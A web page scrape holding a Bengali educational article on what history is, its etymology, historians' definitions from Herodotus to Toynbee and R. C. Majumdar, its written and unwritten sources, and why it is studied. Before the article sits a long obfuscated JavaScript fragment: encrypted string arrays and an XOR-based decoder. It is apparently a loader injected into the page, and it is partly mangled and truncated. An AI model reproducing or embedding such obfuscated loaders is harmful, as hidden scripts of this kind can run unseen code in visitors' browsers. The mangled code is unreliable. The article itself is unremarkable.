WeSE75xnMQH2jHx9k/8dAo1e1XjUuUx70wldt+","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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

ইতিহাস কাকে বলে? ইতিহাসের বিষয়বস্তু, উপাদান এবং ইতিহাস পাঠের প্রয়োজনীয়তা কী?

১২:২৮:৪৯ অপরাহ্ন, রবিবার, ২৬ সেপ্টেম্বর ২০২১

ইতিহাস পাঠ করার আগে আমাদের প্রত্যেকেরই জানা প্রয়োজন ইতিহাস কী, ইতিহাসের প্রকৃতি কীরূপ; আবার পাঠ্য বিষয় হিসেবে ইতিহাসের ভূমিকা কী। পাশাপাশি কোনো নির্দিষ্ট কালের এবং নির্দিষ্ট দেশের ইতিহাস জানার সাথে সমসাময়িক প্রাকৃতিক অবস্থা এবং পরিবেশ সম্পর্কেও ধারণা নেওয়া প্রয়োজন। এই নিবন্ধে ইতিহাসের সংজ্ঞা, বিষয়বস্তু, উপাদান এবং প্রয়োজনীয়তা নিয়ে সংক্ষিপ্ত আলোচনা করা হলো।

ইতিহাস কী?

ইতিহাস এবং history শব্দের উৎপত্তি

‘ইতিহাস’ শব্দটির উৎপত্তি ‘ইতিহ’ শব্দ থেকে। ইতিহাস শব্দটির সন্ধি বিচ্ছেদ করলে এর রূপ দাঁড়ায়, ইতিহ + আস। যার অর্থ এমনই ছিল বা এরূপ ঘটেছিল। এখানে ‘ইতিহ’ অর্থ ‘ঐতিহ্য’। অতীতের অভ্যাস, শিক্ষা, ভাষা, শিল্প, সাহিত্য-সংস্কৃতি যা ভবিষ্যতের জন্য সংরক্ষিত থাকে তাকে ঐতিহ্য বলা হয়। এই ঐতিহ্যকে এক প্রজন্ম থেকে আরেকপ্রজন্মের কাছে পৌঁছে দেয় ইতিহাস।

আবার, ইংরেজি ‘history’ (হিস্ট্রি) শব্দেরই বাংলা অর্থ ইতিহাস। শব্দটির উৎপত্তি গ্রিক শব্দ ‘historia’ থেকে। এর সাধারণ অর্থ হচ্ছে কোন কিছুর অনুসন্ধান বা গবেষণা। অতীতে যা কিছু ঘটেছে, আমরা সাধারণভাবে তাকেই ইতিহাস বলি।

ইতিহাসের সংজ্ঞা

সমাজ ও রাষ্ট্রে নিরন্তর বয়ে যাওয়া ঘটনা প্রবাহকে ইতিহাস বলা যায়। তবে ইতিহাস কী তা এক কথায় বলা কঠিন। বিভিন্ন পণ্ডিত ইতিহাস প্রসঙ্গে নিজেদের মতো করে বিভিন্ন মত দিয়েছেন। ইতিহাস নিয়ে সহজেই একটি নির্দিষ্ট সংজ্ঞায় পৌঁছা যায় না। তবে পণ্ডিতগণের দৃষ্টিভঙ্গী ও মতামত সমূহ বিশ্লেষণ করলে একটি সাধারণ সংজ্ঞা তৈরি করা সম্ভব। ঐতিহাসিকগণের বক্তব্যের আলোকে সংক্ষেপে বলা যায় যে, ‘অতীত উপাদানসমূহ বিশ্লেষণের মধ্য দিয়ে মানব সমাজের সমুদয় ঘটনার বিবরণকে ইতিহাস বলে’।

নিচে ইতিহাসের বিভিন্নধরনের সংজ্ঞা উল্লেখ করা হলো:

ইতিহাস সম্পর্কে পণ্ডিতগণের মতামত 

হেরোডটাস ও থুসিডাইডিসের মতে ইতিহাস

উপরে উল্লেখিত ‘Historia’ শব্দটি প্রথম ব্যবহার করেন গ্রিক ঐতিহাসিক হেরোডোটাস (প্রাচীন গ্রিক: Ἡρόδοτος, রোমানাইজড: Hēródotos, আত্তীয় উপভাষায় উচ্চারণ: [hɛːródotos])। ইতিহাসের জনক হেরোডোটাস। ইতিহাস বলতে হেরোডোটাস বোঝাতে চেয়েছেন যে, ‘অতীতের ঘটনাবলি অনুসন্ধান করে তা লেখা’। হেরোডোটাস গল্পবলার ঢংয়ে ইতিহাস লিখেছিলেন।

একই সময়ের গ্রিক ঐতিহাসিক থুসিডাইডিস একটু অন্যভাবে ইতিহাসের সংজ্ঞা নির্ধারণ করেছেন। থুসিডাইডিস বলেছেন, ‘অতীতের কাহিনী ও ঘটনা যথাযথভাবে লিপিবদ্ধ করাকেই ইতিহাস বলে’। থুসিডাইডিসের ইতিহাস রচনার ধারা ছিল বিজ্ঞান সম্মত। এ কারণে থুসিডাইডিসকে বৈজ্ঞানিক ইতিহাসের জনক বলা হয়। আবার থুসিডাইডিস মনে করতেন অতীতের বর্ণনা থেকে মানুষ শিক্ষা লাভ করবে। এ দৃষ্টিতে তাঁর ইতিহাস ছিল উপদেশমূলক। ফলে অনেকে থুসিডাইডিসকে উপদেশমূলক ইতিহাসের জনকও বলেছেন। 

খ্রিষ্টিয় অষ্টাদশ শতাব্দী পর্যন্ত হেরোডোটাস ও থুসিডাইডিসের অনুসরণেই ইতিহাস লিখিত হতে থাকে। 

বিজ্ঞানেরই শাখা ইতিহাস: রাঙ্কে, বাকল এবং অন্যান্যদের সংজ্ঞা

অষ্টাদশ শতাব্দী পর্যন্ত ইতিহাস রচনা ধারণার ক্ষেত্রে শুধু হেরোডোটাস ও থুসিডাইডিসকে অনুকরণ করা হতো ইতিহাসের সংজ্ঞা আবার নতুনভাবে তৈরি হতে থাকে ঊনবিংশ শতাব্দী থেকে। এসময়ের ঐতিহাসিকদের অনেকেই মনে করেন ইতিহাস বিজ্ঞানেরই শাখা। কারণ বিজ্ঞানের বিভিন্ন বিষয়ে সিদ্ধান্ত নিতে হলে যেমন পরীক্ষণাগারে প্রমাণ করতে হয়, ইতিহাস তৈরিতেও তেমনিভাবে প্রয়োজন প্রমাণের। কারণ অতীতের নানা উপাদান পরীক্ষা করে তবেই ঐতিহাসিককে সিদ্ধান্তে আসতে হয়। ইতহাস যে বিজ্ঞানেরই শাখা সে মতের প্রধান প্রবর্তক ছিলেন জার্মান ঐতিহাসিক লিওপোণ্ড ফন রাঙ্কে। লিওপোণ্ড ফন রাঙ্কে মনে করেন, কোনো মতামত নয় বরং ‘অতীতের ঘটনা হুবহু প্রকাশ করা হচ্ছে ঐতিহাসিকের দায়িত্ব’। এই ধারণা জনপ্রিয়তা লাভ করতে থাকে। এভাবে পুরনো ইতিহাস তথ্য সূত্রের আলোকে নতুন ভাবে লিখিত হতে থাকে। কিন্তু রাঙ্কের ইতিহাসের ধারণাকে গ্রহণ করতে পারেননি ইংরেজ ঐতিহাসিক হেনরি টমাস বাকল বা এইচ. টি. বাকল (Henry Thomas Buckle)। এইচ. টি. বাকল নতুন সংজ্ঞায় ইংল্যাণ্ডের সভ্যতার ইতিহাস লেখেন ১৮৫৭ খ্রিষ্টাব্দে। যদিও তিনি বিজ্ঞানসম্মত ইতিহাস লেখার পক্ষপাতি ছিলেন, তবুও রাঙ্কের চেয়ে তাঁর চিন্তা ছিল পৃথক। বাকল মনে করেন অতীতের ঘটনাবলী লিপিবদ্ধ করলেই তা ইতিহাস হয় না। তাঁর মতে এসব ঘটনা তথ্য প্রমাণের মাধ্যমে বিশ্লেষণের পথ ধরে যাচাই করে নিলে তবেই তা হবে ইতিহাস।

ইতিহাস প্রসঙ্গে র‍্যাপসন এবং হিল 

এভাবেই ইতিহাসের সংজ্ঞা নতুন ভাবে রচিত হতে থাকে। ঐতিহাসিক ই. জে. র‌্যাপসন (Edward James Rapson) বলেন, ‘ঘটনার ধারাবাহিক বিবরণ বিজ্ঞানসম্মতভাবে উপস্থাপন করাই হচ্ছে ইতিহাস’। এই ধারণাই আরও স্পষ্টভাবে প্রকাশ করেন ঐতিহাসিক ক্রিস্টোফার হিল (John Edward Christopher); তিনি বলেন, ‘প্রাচীন দলিলপত্র পরীক্ষা করে রচিত মানব সমাজের অতীত কাহিনিই হলো ইতিহাস’।

ইতিহাস সম্পর্কে কার, টয়েনবি, মজুমদার এবং জনসন যা বলেছেন

খ্যাতিমান ইতিহাসবিদ ই. এইচ. কার (Edward Hallett Carr) বলেছেন, ‘অতীতের সাথে বর্তমানের যোগসূত্র তৈরি করার বিদ্যাই হচ্ছে ইতিহাস’। ঐতিহাসিক ই. এইচ. কারের মতে, ইতিহাস হলো বর্তমান ও অতীতের মধ্যে এক অন্তহীন সংলাপ।

আর্নল্ড জোসেফ টয়েনবি (Arnold J. Toynbee) বলেছেন, ‘মানব সমাজের ঘটনা প্রবাহই ইতিহাস’। বিংশ শতাব্দীর শ্রেষ্ঠ ঐতিহাসিক হলেন আর্নল্ড টয়েনবি।

আর্নল্ড টয়েনবির বক্তব্যের সাথেই সুর মিলেছে ভারতীয় ইতিহাসবিদ ড. রমেশ চন্দ্র মজুমদারের। রমেশ চন্দ্র মজুমদার বলেছেন, ‘ইতিহাস হলো মানব সমাজের অতীত কার্যাবলীর বিবরণী’। ড. জনসন বলেছেন, ‘ঘটে যাওয়া ঘটনা হলো ইতিহাস’। তাঁর মতে, যা কিছু ঘটে তাই ইতিহাস। যা ঘটে না তা ইতিহাস নয়।

ইতিহাসের বিষয়বস্তু 

ইতিহাসের আলোচ্য বিষয় খুবই ব্যাপক। জীবন সৃষ্টির সূচনা থেকেই ইতিহাসের যাত্রা শুরু হয়েছে। ইতিহাসের সংজ্ঞা থেকে স্পষ্ট যে, অতীতের সব ঘটনার কাহিনিই ইতিহাস নয়। পরীক্ষা ও বিশ্লেষণের মাধ্যমে তাৎপর্যপূর্ণ ঘটনাসমূহই ইতিহাসে স্থান পায়। এই দৃষ্টিতে ইতিহাসের বিষয়বস্তু হিসেবে চিহ্নিত হয়েছে মানুষের জীবনধারা, সমাজ ও পরিবেশ; এক কথায় মানুষের সভ্যতা। 

ঐতিহাসিক যেমন ঘটে যাওয়া তাৎপর্যপূর্ণ ঘটনা বিশ্লেষণ করেন, তেমনিভাবে ঘটনার পেছনে থাকা প্রেক্ষাপট নিয়েও আলোচনা করেন। ইতিহাসের এই বিশ্লেষণ থেকেই প্রথম জানা সম্ভব হয় যে মানুষ জন্মগতভাবেই সংগ্রামী। বিরুদ্ধ পরিবেশের সাথে সংগ্রাম করে মানুষকে টিকে থাকতে হয়েছে। 

এভাবেই মানুষ নিজেকে উন্নত সভ্যতা সৃষ্টিকারী হিসেবে প্রতিপন্ন করেছে। সংগ্রামের পথে মানুষের জয়যাত্রা ও পরাজয়, সব কিছু ইতিহাস-আলোচনার বিষয়বস্তু। 

মানুষের এই জীবন ইতিহাসকে বিভিন্নভাবে আলোচনা করার সুযোগ ইতিহাসের বিষয়বস্তু হিসেবেই চিহ্নিত হয়।

আবার সামাজিক-সাংস্কৃতিক বিভিন্ন অবস্থা ও ঘটনাবলী বিশ্লেষণ করে রচিত হয় সামাজিক সাংস্কৃতিক ইতিহাস। এই সমুদয় বিষয়বস্তুর আলোকেই সামগ্রিকভাবে রচিত হয় মানুষের ইতিহাস।

ইতিহাসের উপাদান কী কী?

উপরের আলোচনাসমূহ থেকে বোঝা যাচ্ছে যে, অতীতের গুরুত্বপূর্ণ ঘটনাসমূহকে বিজ্ঞানসম্মতভাবে বিশ্লেষণের মাধ্যমে ইতিহাস রচনা করতে হয়। ইতিহাসের অন্তর্ভুক্ত বিষয়ও নানা রকমের। তবে অতীতের ছবি এভাবেই জানা যায় না। অতীতের মানুষের রেখে যাওয়া লেখনী ও নানা দ্রব্য সামগ্রী, স্থাপত্য, ভাস্কর্য, চিত্রকলা প্রভৃতির ভেতরেই লুকিয়ে থাকে ইতিহাস। তাই এ সমস্ত বস্তুকে বলা হয় ইতিহাসের উপাদান। এই উপাদানের উপর নির্ভর করেই লিখিত হয় ইতিহাস। সমকালের মানুষের লিখে যাওয়া বিবরণ ইতিহাসের গুরূত্বপূর্ণ উপাদান। কিন্তু সব সময় লিখিত উপাদান পাওয়া যায় না। 

মানুষ আদিকাল থেকে জীবন সংগ্রাম শুরু করলেও লিখতে শিখেছে অনেক পরে। আবার লিখতে জানলেও সকল অঞ্চলের মানুষ ইতিহাস সচেতন ছিল না। তাই ঘটনার বিবরণ সকলে লিখে যায়নি। ফলে ইতিহাস রচনায় অন্যসব উপাদনের উপর নির্ভর করতে হয়।

এসব বিচারে ইতিহাসের উপাদানসমূহকে দুই ভাগে বিভক্ত করা হয়: লিখিত উপাদান ও অলিখিত উপাদান। 

ইতিহাসের লিখিত উপাদান: সমকালিক সাহিত্য, ধর্মগ্রন্থ, পর্যটকদের বিবরণী, সরকারি দলিলপত্র, রাজ রাজার জীবনী প্রভৃতি লিখিত উপাদানের অন্তর্ভুক্ত।

ইতিহাসের অলিখিত উপাদান: অলিখিত উপাদান হিসেবে চিহ্নিত করা হয় ধর্মীয় ও সাধারণ স্থাপত্য অর্থাৎ ইমারতসমূহ, বিভিন্ন ভাস্কর্য বা মূর্তি, মুদ্রা, তাম্রলিপি, শিলালিপি, মানুষের ব্যবহার্য তৈজস পত্র, চিত্রকলা প্রভৃতি।

এভাবে লিখিত ও অলিখিত উপাদানসমূহ বিশ্লেষণ করেই রচনা করা হয়ে থাকে  ইতিহাস।

ইতিহাস পাঠের প্রয়োজনীয়তা

মানব সমাজের ক্রমবিকাশ জানা যায়

ইতিহাস পাঠের মধ্যে দিয়েই জানা যায় কীভাবে আদি মানব অসহায় অবস্থা থেকে ধীরে ধীরে সভ্য ও শক্তিশালী হয়ে উঠেছিল। সামাজিক, সাংস্কৃতিক, ধর্মীয়, অর্থনৈতিক ও রাজনৈতিক ক্ষেত্রে নিজের প্রতিভার স্বাক্ষর রেখেছিল। এভাবেই ইতিহাস পাঠের মধ্যে দিয়ে আমরা মানব সমাজের শুরু থেকে তার যাবতীয় কর্মকাণ্ড, চিন্তা-চেতনা ও জীবনযাত্রার অগ্রগতি সম্পর্কে জ্ঞান লাভ করতে পারি। বিভিন্ন অঞ্চলে মানুষের সভ্যতা কিভাবে পরিবর্তিত হচ্ছে, কিভাবে তার বিকাশ ঘটছে সবকিছুই জানা সম্ভব ইতিহাস পাঠের মাধ্যমে। ইতিহাস শুধু মানুষের অতীতকালের কর্মকাণ্ড উল্লেখ করে না, মানুষের অতীত কর্মকান্ডের পেছনের উদ্দেশ্যও খুঁজে বেড়ায়। মানুষের অতীত কীর্তির পেছনের উদ্দেশ্য খুঁজে বের করে। এভাবে, ইতিহাস পাঠের মধ্যে দিয়ে অতীতকালে মানুষের চিন্তাভাবনা কি ছিল সে সম্পর্কে  ধারণা লাভ করা যায়। 

জাতীয় ঐতিহ্য সম্পর্কে ধারণা পাওয়া যায়

একটি জাতির চেতনা জাগিয়ে তুলতে ইতিহাস পাঠ বিশেষ ভূমিকা রাখতে পারে। কোনো জাতির ঐতিহ্য ও গৌরবের ইতিহাস ঐ জাতিকে উৎসাহিত করে। ঐতিহ্য ও গৌরবের ইতিহাস থেকে একটি জাতির সঠিক পরিচয় পাওয়া যায়। এ ধরনের ইতিহাস পাঠের মধ্য দিয়ে জাতীয়তাবাদ গড়ে তোলা সহজ হয়। এ থেকেই সহজ হয় দেশপ্রেমিক নাগরিক গড়ে তোলা। একটি জাতির ঐতিহ্য ও সাংস্কৃতিক মূল্যকে যথাযথভাবে সংরক্ষণ করে ইতিহাস। তাই ইতিহাসজ্ঞান সমাজ ও জাতির অগ্রগতির লক্ষ্যে পৌঁছাতে সাহায্য করে। ইতিহাস পাঠ মানুষের জাতীয় চেতনাবোধকে জাগিয়ে তোলে। সে তার আত্মপরিচয়ের সন্ধান পায় ইতিহাসের পাতায়। 

বর্তমানকে বুঝা ও ভবিষ্যৎ গঠনে ইতিহাস পাঠের প্রয়োজনীয়তা

বর্তমানকে বুঝার জন্য এবং ভবিষ্যৎকে গঠন করার জন্য অতীতকে জানা খুবই প্রয়োজন। এ কারণেই অতীতের প্রতি মানুষের এত কৌতূহল।

ইংরেজ ঐতিহাসিক স্যার জন সিলি উল্লেখ করেছেন যে, কোনো দেশের ইতিহাস পাঠে সে দেশের অতীতকেই শুধু জানা যায় না তার ভবিষ্যৎ সম্পর্কেও ধারণা পাওয়া যায়। তিনি তাই ভবিষ্যৎ সৃষ্টি করার জন্যই ইতিহাস পড়া বেশি প্রয়োজনীয় বলে মনে করেছেন।

ইতিহাস পাঠ থেকে জানা যায় অতীতের মানুষ তাদের ভবিষ্যতের জন্য কী পরিকল্পনা গ্রহণ করেছিল, বর্তমানের সাথে ওই পরিকল্পনার তুলনা করা যায়। অতীতের মানুষ কীভাবে এই সব দায়িত্ব পালন করেছে- ইতিহাস পাঠে তা জানা যায় এবং এই জ্ঞান বর্তমান ও ভবিষ্যতের কাজে লাগানো যায়। এভাবে  ইতিহাস অতীত, বর্তমান ও ভবিষ্যতের মধ্যে যোগসূত্র সৃষ্টির সহায়ক হয়। 

মানুষের মনের দিগন্তকে প্রসারিত করে 

ইতিহাস পাঠ মানুষকে উদার করে এবং মনের দিগন্ত প্রসারিত করে। মানুষ বিভিন্ন জাতিতে বিভক্ত; বিচিত্র তাদের রীতিনীতি, আইনকানুন, আচার-ব্যবহার, পোশাক-পরিচ্ছদ এবং খাদ্য। এই বিভিন্নতার মধ্যেও মনের ভেতর থেকে মানুষের মধ্যে একটি ঐক্যের বন্ধন রয়েছে। ইতিহাস পাঠ মানুষের এই বোধটিকেই জাগিয়ে তোলে। এভাবে মানুষের মধ্যে আন্তর্জাতিক মৈত্রী প্রতিষ্ঠার পথ প্রসারি হয়।